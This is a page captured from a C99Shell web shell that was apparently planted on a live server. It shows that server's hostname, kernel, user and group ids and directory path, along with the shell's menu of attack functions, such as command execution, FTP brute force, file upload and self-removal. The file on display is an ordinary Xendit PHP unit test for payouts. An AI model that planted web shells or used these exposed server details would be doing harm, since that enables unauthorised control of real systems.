!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/xendit/xendit-php/tests/Xendit/   drwxr-xr-x
Free 26.6 GB of 117.98 GB (22.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PayoutsTest.php (3.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * PayoutsTest.php
 * php version 7.2.0
 *
 * @category Test
 * @package  Xendit
 * @author   Ellen <ellen@xendit.co>
 * @license  https://opensource.org/licenses/MIT MIT License
 * @link     https://api.xendit.co
 */

use Xendit\Payouts;
use 
Xendit\TestCase;

/**
 * Class PayoutsTest
 *
 * @category Class
 * @package  Xendit
 * @author   Ellen <ellen@xendit.co>
 * @license  https://opensource.org/licenses/MIT MIT License
 * @link     https://api.xendit.co
 */
class PayoutsTest extends TestCase
{
    const 
TEST_ID "TEST-123";

    
/**
     * Create Payout test
     * Should pass
     *
     * @return void
     */
    
public function testIsCreatable()
    {
        
$params = [
            
'external_id'=> 'payouts-123456789',
            
'amount'=> 50000,
            
'email'=> 'demo@xendit.co',
        ];

        
$this->stubRequest(
            
'POST',
            
'/payouts',
            
$params,
            [],
            
$params
        
);

        
$result Payouts::create($params);
        
$this->assertEquals($result['external_id'], $params['external_id']);
        
$this->assertEquals($result['amount'], $params['amount']);
        
$this->assertEquals($result['email'], $params['email']);
    }

    
/**
     * Get Payout test
     * Should pass
     *
     * @return void
     */
    
public function testIsGettable()
    {
        
$params = [
            
'external_id'=> 'payouts-123456789',
            
'amount'=> 50000
        
];

        
$this->stubRequest(
            
'GET',
            
'/payouts/' self::TEST_ID,
            [],
            [],
            
$params
        
);

        
$result Payouts::retrieve(self::TEST_ID);
        
$this->assertEquals($result['external_id'], $params['external_id']);
        
$this->assertEquals($result['amount'], $params['amount']);
    }

    
/**
     * Void Payout test
     * Should pass
     *
     * @return void
     * @throws \Xendit\Exceptions\ApiException
     */
    
public function testIsVoidable()
    {
        
$this->stubRequest(
            
'POST',
            
'/payouts/' self::TEST_ID '/void',
            [],
            [],
            [
                
'id' => self::TEST_ID
            
]
        );

        
$result Payouts::void(self::TEST_ID);

        
$this->assertEquals($result['id'], self::TEST_ID);
    }

    
/**
     * Create Payout test
     * Should throw InvalidArgumentException
     *
     * @return void
     */
    
public function testIsCreatableThrowInvalidArgumentException()
    {
        
$this->expectException(\Xendit\Exceptions\InvalidArgumentException::class);
        
$params = [
            
'external_id' => 'demo_147580196270'
        
];

        
Payouts::create($params);
    }

    
/**
     * Get Payout test
     * Should throw ApiException
     *
     * @return void
     */
    
public function testIsGettableThrowApiException()
    {
        
$this->expectException(\Xendit\Exceptions\ApiException::class);

        
Payouts::retrieve(self::TEST_ID);
    }

    
/**
     * Void Payout test
     * Should throw
     *
     * @return void
     * @throws \Xendit\Exceptions\ApiException
     */
    
public function testIsVoidableThrowApiException()
    {
        
$this->expectException(\Xendit\Exceptions\ApiException::class);

        
Payouts::void(self::TEST_ID);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--